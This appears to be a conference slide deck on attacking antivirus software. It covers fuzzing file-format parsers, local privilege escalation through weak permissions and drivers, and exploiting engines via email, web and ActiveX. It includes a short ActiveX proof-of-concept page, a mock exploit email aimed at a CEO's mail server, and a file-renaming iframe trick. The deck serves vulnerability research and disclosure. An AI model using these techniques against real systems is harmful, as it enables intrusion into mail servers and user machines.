Attacking Antivirus

Feng Xue

Nevis Labs
Who Am I

• Technical Lead at Nevis Labs
• Most of the time working on the
  – Vulnerability discovery
  – Vulnerability analysis
  – M$ Black Tuesday, etc.
• Discovered over 30 vulnerabilities in the popular software, including Microsoft, Symantec, Apple, Trend Micro, HP, Real Networks, etc.
• Recently focused on the Antivirus software security
  – Lots of AV vulnerabilities.
Outline

• Why can AV be targeted
• Finding vulnerability of Antivirus
• Exploiting Antivirus
• Few words
• Future work
Why Can Antivirus Be Targeted

- People trust Anti-virus too much
  - “I am safe, because I have installed an Antivirus!”

- Antivirus serves the security gate for incoming files
Why Can AV Be Targeted - Continue

- Antivirus is a common component
  - Over 80% of people are using antivirus software [Reference-8]

- Cross-platform exploitation
  - As great as the Java and Adobe vulnerabilities

- Antivirus is error-prone
Why AV is error prone?

• User input (files being scanned) is totally unpredictable

• Too many format to deal with
  – How can AV process hundreds of formats correctly?

• Lots of the vulnerabilities exist in the following major components of Antivirus engine:
  ➢ Unpack
  ➢ Decompression
Finding vulnerabilities of Antivirus
Audit Antivirus

• Local Privilege Escalation
• ActiveX
• Engine
  – Source code audit
  – Reversing
  – Fuzzing
• Management
Audit - Local Privilege Escalation

- Weak DACL
  - Installation Directory.
  - Service. SC.exe

- Driver issues
  - IOCTL handler, Insufficient address space verification. DC2.exe
  - SSDT Hook. BSODHook.exe
  - Fuzz the Driver! Investigate the BSOD.
Audit - Local Privilege Escalation

Demo 1
Rising Antivirus SSDT Hook 0day
Audit – ActiveX Control

• Installed by Antivirus product; Free Online Scan Service; Download Manager

Problems:

• Insecure Method: Design error
  – CA – SigUpdatePathFTP()
  – Kaspersky - StartUploading()

• Buffer Overflow
  – Symantec, CA, Authentium, RAV, etc
Audit – ActiveX Control

Fuzzing and Manually audit

- AxMan: Script fuzzer for memory corruption
- ComRaider: GUI fuzzer for memory corruption
- OleView: Manually audit ActiveX
- FileMon: File Operation
- RegMon: Registry Operation
- TCPview: Port, Network connection
- Wireshark: Sniff network traffic
Audit – Engine

Most of the Engine problem exists in the Format Parsing

• Memory Corruption
  – Stack overflow, Heap overflow, Memory Access/Modification

• Denial of Service
  – CPU *(Most of the AV vulnerable to ZIP/CHM processing problem in the past)*
  – DISK Space *(NOD32 will eat 4GB disk when scanning a malicious ARJ file, which is only 1kb, no patch yet)*

• Detection Bypass
Audit – Engine: Source Code

• Must have access to the source code
• Time consuming
• Open Source ClamAV is the best one for practice
  – 49 CVE matches

• Tools: FlawFinder, RATS, ITS4, SPLINT, CodeScan, Coverity
Audit – Engine: Reversing

• Reverse the file format plugin one by one!
  – Kaspersky: Arj.ppl base64.ppl cab.ppl lha.ppl rar.ppl
  – Bitdefender: arc.xmd arj.xmd bzip2.xmd cab.xmd docfile.xmd

• Typical: Memory allocation, string copy, integer wrapper

Advantage:
  – Effective against all Closed Source AV
  – Can uncover more subtle vulnerabilities

Disadvantage:
  – Extremely time consuming
  – Tools: IDA, Hex-rays
Audit – Engine: Fuzzing!

• Few people thought about fuzzing Antivirus
• Few Antivirus fuzzer published
  – Vxfuzz – Taviso
  – nrun’s private Fuzzer-Framework v1.0
  – My in-house script, and yours
• Fuzzing Antivirus is easier than most of the other fuzzing
• Even a dozen lines script could uncover many exploitable vulnerabilities!
Audit – Engine: Fuzzing!

What we need?

- **Good samples**
  - rar, zip, chm, arj, lha, lzh, tar, tgz, doc, xls, upx, fsg, more
  - CreateARJ, MakeCAB, WACE, WinZIP, WinRAR, PowerISO, various PE packers, Google (filetype:xxx)

- **A big hard disk.**
  - For test case

- **Debugger**
  - Windbg, Ollydbg, Immunitydebugger

- **Fuzzer**
  - Original fuzzer is actually a File generator
  - Script language: Python/Perl/C
  - May need to deal with the CRC
Audit – Engine: Fuzzing!

How? 4 steps

• Create test case.
  – By using the script you wrote, samples created
    – 0xFFFFFFFF, 0xFFFF, 0x0000, 0x0001, etc,

• Download the trial version AV and install

• Scan! Do not forget to start the debugger

• Go to Sleep: Leave your computer fuzzing
Demo 2

Fuzzing McAfee Antivirus for 0day ;}
Audit Result

By auditing the mainstream Antivirus Engine, we have found and published:

- **AhnLab AV Remote Kernel Memory Corruption**
- **TrendMicro AV UUE Decoding Format String Vulnerability**
- **Avast! AV TGZ Parsing Heap Corruption**
- **Mcafee AV BZIP2 Parsing Memory Corruption (working with vendors)**
- **NOD32 Heap Overflow (unpublished, 0day)**

- More upcoming
Audit – Management

• Client/Server management
  – Proprietary Protocol
  – Fuzzing: Sulley, Spike

• Web Interface
  – Web server developed by the vendor, or Apache
  – Lots of webfuzzer available, e.g. webfuzz
Exploiting Antivirus
Exploiting Antivirus

- Local Privilege Escalation
- ActiveX
- Engine
- Management (Administrator)
- Anything else?
Local Privilege Escalation

- Weak DACL (installation Directory /Service)
  - Can be exploited to gain escalated privileges by simply replacing files in the installation directory!
  - Symantec, McAfee, TrendMicro, VBA32, Panda, PC Tools, CA eTrust, ZoneAlarm, AVG, BitDefender, Avast!, Kaspersky.
  - Panda made the mistake twice!
    - CVE-2006-4657 CVE-2007-4191

- AV Driver IOCTL handler issues
  - Arbitrary memory overwrite. Hooking rarely used system call
  - Symantec, AVG, ZoneAlarm, Trend Micro, AhnLab

- Other
  - Scan job (CA scan job Format String vulnerability)
ActiveX - Exploitation

Convince the victim to visit a webpage

```html
<html>
<title>Rising Online Scanner ActiveX Control Insecure Method by John Smith</title>
<body>
<object classid="clsid:E4E2F180-CB8B-4DE9-ACBB-DA745D3BA153" id="rav">
<param name="rav.BaseURL" value="http://www.example.com/">
<param name="rav.Encardid" value="0000$0000$0000"/>
<param name="rav.UpdateEngine"/>
</object>
</body>
</html>
```
Engine – Exploitation

- Mail Server
- Web
- P2P
- Email
- IM
Root the Mail Server - continue

Mail server of victim

Antivirus

Internet

Attacker

Antivirus scanned the email, code execution!

Pong!
## Root the Mail Server - continue

<table>
<thead>
<tr>
<th>From:</th>
<th><a href="mailto:anonymous@anonmoys.com">anonymous@anonmoys.com</a></th>
</tr>
</thead>
<tbody>
<tr>
<td>To:</td>
<td><a href="mailto:CEO.victim@victim.com">CEO.victim@victim.com</a></td>
</tr>
<tr>
<td>Subject:</td>
<td>whatever</td>
</tr>
<tr>
<td>Body:</td>
<td>whatever</td>
</tr>
<tr>
<td>Attachment:</td>
<td>Exploit.ZIP</td>
</tr>
<tr>
<td>PK:</td>
<td>........................?1.5</td>
</tr>
<tr>
<td></td>
<td>................................</td>
</tr>
<tr>
<td></td>
<td>AAAAAAAAAAAAAAAAAAAAAA</td>
</tr>
<tr>
<td></td>
<td>AAAAAAAAAAAAAAAAAAAAA</td>
</tr>
<tr>
<td></td>
<td>AAAAAAAAAAAAAAAAAAAAA</td>
</tr>
<tr>
<td></td>
<td>AAAAAAAAAAAAAAAAAAAAA</td>
</tr>
<tr>
<td></td>
<td>AAAAAAAAAAAAAAAAAAAAA</td>
</tr>
<tr>
<td></td>
<td>AAAAAAAAAAAAAAAAAAAAA</td>
</tr>
</tbody>
</table>

...
Root the Mail Server - continue

- Most of the mailstream Mail servers now include some antivirus software by default
Root the Mail Server - continue

Advantage:

• Attackers do not need any specific details of the internal LAN.

• The recipients do not need to receive and/or open the malicious emails.

Disadvantage:

• Attackers have to figure out which antivirus software is installed on the target mail server, But
Antivirus Vendors Will Help You

Financial Services Customers

security protects a wide range of financial services companies—from brokerage firms to insurance companies and banking institutions. Several custo are listed below. Click the links to view Case Studies.

- AAA California
- AT&T Capital Corp.
- Bank Mandiri, Indonesia
- Communication Federal Credit Union
- DGZ-Deka Bank
- E.SUN Bank, Taiwan
- E*Trade Financial
- HSBC Guyerzeller, a private Swiss bank
- Lakeside Bank, Chicago, IL
- Winterthur U.S. Holdings (General Casualty Insurance and Unigard Insurance Group)
Exploiting the Engine from Web

- C:\>ren exploit.zip exploit.wmf
- <iframe src = exploit.wmf>
- WMF is a good friend while exploiting the vulnerabilities of Antivirus through Web!

Demo 3

AhnLab
P2P/IM/EMAIL
Antivirus engine exploitation is just limited by your imagination!
Management - Exploitation

• Client/Server management
  – e.g. CVE-2006-0630 Symantec Remote Management BOF, which was later exploited by a variant of SpyBot worm

• Web Interface
  – e.g. CVE-2005-2758 Symantec AV Scan Engine Administrative Interface Heap Overflow

• others
  – e.g. CVE-2005-0581 CA License Component Multiple buffer overflow vulnerabilities
To Antivirus Vendors

• Antivirus gives the incoming files (files being scanned) too much trust
• Security Development Lifecycle (SDL)
• Audit your products first
• Fuzzing is incredible effective
  – Fuzz before release
  – Fuzz after release
• Follow Microsoft, Mozilla and others
  – Security bulletin
  – Credit
To End Users

• End Users trust Antivirus software too much

Past:
• Scan, before using of the applications, archives, documentations.

Now:
• Think twice before scanning 😊
Future work

• Security of security products
• What should we do when the Antivirus fails?
• What about firewall?
• IPS? IDS?
Reference

1. http://www.securityfocus.com/archive/75/487488/30/0/threaded
4. http://groups.google.com/group/vulnhashdb
6. http://dev.gentoo.org/~taviso/files/vxfuzz-0.01.tar.gz
Questions?

Thanks for your time!